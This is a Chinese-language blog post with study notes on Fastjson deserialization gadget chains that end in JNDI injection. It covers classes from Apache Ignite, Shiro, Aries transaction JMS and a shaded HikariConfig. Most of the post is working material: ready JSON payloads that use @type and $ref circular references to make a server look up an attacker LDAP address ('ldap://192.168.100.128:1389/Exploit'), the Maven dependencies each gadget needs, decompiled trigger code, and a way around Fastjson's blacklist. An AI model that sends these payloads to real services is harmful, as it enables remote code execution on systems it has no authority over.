import org.apache.ignite.IgniteException;
import org.apache.ignite.cache.jta.CacheTmLookup;
import org.jetbrains.annotations.Nullable;

public class CacheJndiTmLookup implements CacheTmLookup {
private List<String> jndiNames;

public CacheJndiTmLookup() {
}

public List<String> getJndiNames() {
return this.jndiNames;
}

public void setJndiNames(List<String> jndiNames) {
this.jndiNames = jndiNames;
}

public @Nullable TransactionManager getTm() throws IgniteException {
assert this.jndiNames != null;

assert !this.jndiNames.isEmpty();

try {
InitialContext ctx = new InitialContext();
Iterator var2 = this.jndiNames.iterator();

Object obj;
do {
if (!var2.hasNext()) {
return null;
}

String s = (String)var2.next();
obj = ctx.lookup(s);
} while(obj == null || !(obj instanceof TransactionManager));

return (TransactionManager)obj;
} catch (NamingException var5) {
throw new IgniteException("Unable to lookup TM by: " + this.jndiNames, var5);
}
}
}

setJndiNames的参数是list类型,所以payload为[ "ldap://192.168.100.128:1389/Exploit" ]

对于参数tm只有getTm()而没有setter方法

调试最后是对jndiNames调用了lookup查询

这里为什么会调用getter,对于payload中的tm字段用了循环引用,fastjson默认开启

1
2
3
"tm": {
"$ref": "$.tm"
}

{"$ref":"$.tm"}是一个 JSON-Path 引用表达式,表示访问根节点(当前 JSON 根节点下)也就是CacheJndiTmLookuptm属性,Fastjson 会通过反射调用 getTm() 方法(如果存在)或直接访问 tm 字段来获取值

gadget

1
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" -> setJndiNames -> 发现 `$ref` -> 解析 `$.tm` -> 反射调用 `CacheJndiTmLookup.getTm().lookup(jndiNames)

JndiObjectFactory shiro-core依赖

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
//1.x版本
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.13.0</version>
</dependency>

//可有可无
<!-- <dependency>-->
<!-- <groupId>org.slf4j</groupId>-->
<!-- <artifactId>slf4j-api</artifactId>-->
<!-- <version>2.0.17</version>-->
<!-- </dependency>-->

payload

1
2
3
4
5
6
7
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://192.168.100.128:1389/Exploit",
"instance": {
"$ref": "$.instance"
}
}

D:\maven_repo\org\apache\shiro\shiro-core\1.13.0\shiro-core-1.13.0.jar!\org\apache\shiro\jndi\JndiObjectFactory.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.shiro.jndi;

import javax.naming.NamingException;
import org.apache.shiro.util.Factory;

public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {
private String resourceName;
private Class<? extends T> requiredType;

public JndiObjectFactory() {
}

public T getInstance() {
try {
return this.requiredType != null ? this.requiredType.cast(this.lookup(this.resourceName, this.requiredType)) : this.lookup(this.resourceName);
} catch (NamingException var3) {
String typeName = this.requiredType != null ? this.requiredType.getName() : "object";
throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + this.resourceName + "'.", var3);
}
}

public String getResourceName() {
return this.resourceName;
}

public void setResourceName(String resourceName) {
this.resourceName = resourceName;
}

public Class<? extends T> getRequiredType() {
return this.requiredType;
}

public void setRequiredType(Class<? extends T> requiredType) {
this.requiredType = requiredType;
}
}

只有getInstance没有setter

1
return this.requiredType != null ? this.requiredType.cast(this.lookup(this.resourceName, this.requiredType)) : this.lookup(this.resourceName);

三元表达式调用了lookup,这里不管requiredType是否为null都调用lookup()

1
2
3
4
5
6
7
8
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://192.168.100.128:1389/Exploit",
"requiredType":"x",
"instance": {
"$ref": "$.instance"
}
}

同样可以触发

对于

1
2
3
"instance": {
"$ref": "$.instance"
}

同是循环引用,访问根节点(当前 JSON 根节点下)也就是JndiObjectFactoryinstance属性,Fastjson 会通过反射调用 getInstance() 方法(如果存在)或直接访问 instance字段来获取值

gadget

1
"@type": "org.apache.shiro.jndi.JndiObjectFactory" -> setResourceName -> 发现 `$ref` -> 解析 `$.instance` -> 反射调用 `JndiObjectFactory.getInstance().lookup(ResourceName)

FastJson ≤1.2.69 开启AutoType

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory

pom

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.69</version>
</dependency>

<dependency>
<groupId>org.apache.aries.transaction</groupId>
<artifactId>org.apache.aries.transaction.jms</artifactId>
<version>2.0.0</version> //1.x版本没有lookup
</dependency>

payload

1
2
3
4
5
6
7
8
{
"@type": "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory",
"tmJndiName": "ldap://192.168.100.128:1389/Exploit",
"tmFromJndi": true,
"transactionManager": {
"$ref": "$.transactionManager"
}
}

D:\maven_repo\org\apache\aries\transaction\org.apache.aries.transaction.jms\2.0.0\org.apache.aries.transaction.jms-2.0.0.jar!\org\apache\aries\transaction\jms\RecoverablePooledConnectionFactory.class没有重写getter和setter

跟进到父类org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory#getTransactionManager如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public TransactionManager getTransactionManager() {
if (this.transactionManager == null && this.tmFromJndi) {
try {
this.transactionManager = (TransactionManager)(new InitialContext()).lookup(this.getTmJndiName());
} catch (Throwable var2) {
if (LOG.isTraceEnabled()) {
LOG.trace("exception on tmFromJndi: " + this.getTmJndiName(), var2);
}
}
}

return this.transactionManager;
}

调用了lookup参数是this.getTmJndiName(),要走到这一步需要满足this.transactionManager == null && this.tmFromJndi,所以"tmFromJndi": true

其实父类是有setter方法的

但因为

1
2
3
"transactionManager": {
"$ref": "$.transactionManager"
}

循环引用会调用getter,无论是否有setter,并且返回值this.transactionManagernull,因为并没有传入实际的transactionManager的值,并且前面private TransactionManager transactionManager;声明了变量,初始为null所以满足this.transactionManager == null

gadget

1
"@type": "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" -> 循环引用$.transactionManager -> XaPooledConnectionFactory#getTransactionManager -> lookup(getTmJndiName)

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory(RecoverablePooledConnectionFactory的父类)

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.69</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.apache.aries.transaction/org.apache.aries.transaction.jms -->
<dependency>
<groupId>org.apache.aries.transaction</groupId>
<artifactId>org.apache.aries.transaction.jms</artifactId>
<version>2.0.0</version>
</dependency>

payload

1
2
3
4
5
6
7
8
{
"@type": "org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory",
"tmJndiName": "ldap://192.168.100.128:1389/Exploit",
"tmFromJndi": true,
"transactionManager": {
"$ref": "$.transactionManager"
}
}

D:\maven_repo\org\apache\aries\transaction\org.apache.aries.transaction.jms\2.0.0\org.apache.aries.transaction.jms-2.0.0.jar!\org\apache\aries\transaction\jms\internal\XaPooledConnectionFactory.class其实是上一个RecoverablePooledConnectionFactory的父类

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig

1
2
3
4
5
<dependency>
<groupId>org.apache.hadoop</groupId>
<artifactId>hadoop-client-minicluster</artifactId>
<version>3.3.0</version> //小于3.3.0可用
</dependency>

payload

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://192.168.100.128:1389/Exploit"
}

D:\maven_repo\org\apache\hadoop\hadoop-client-minicluster\3.3.1\hadoop-client-minicluster-3.3.1.jar!\org\apache\hadoop\shaded\com\zaxxer\hikari\HikariConfig.class

1
setMetricRegistry`调用了`lookup`参数是`metricRegistry

另一种payload

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://192.168.100.128:1389/Exploit"
}

实际上用的是com.zaxxer.hikari.HikariConfig的gadget(在1.2.60加入了黑名单),不过在hadoop-client-minicluster中引入了该依赖,可以绕过黑名单


fastjson gadgets学习
http://example.com/2025/05/06/fastjson审计/
作者
J_0k3r
发布于
2025年5月6日
许可协议
BY J_0K3R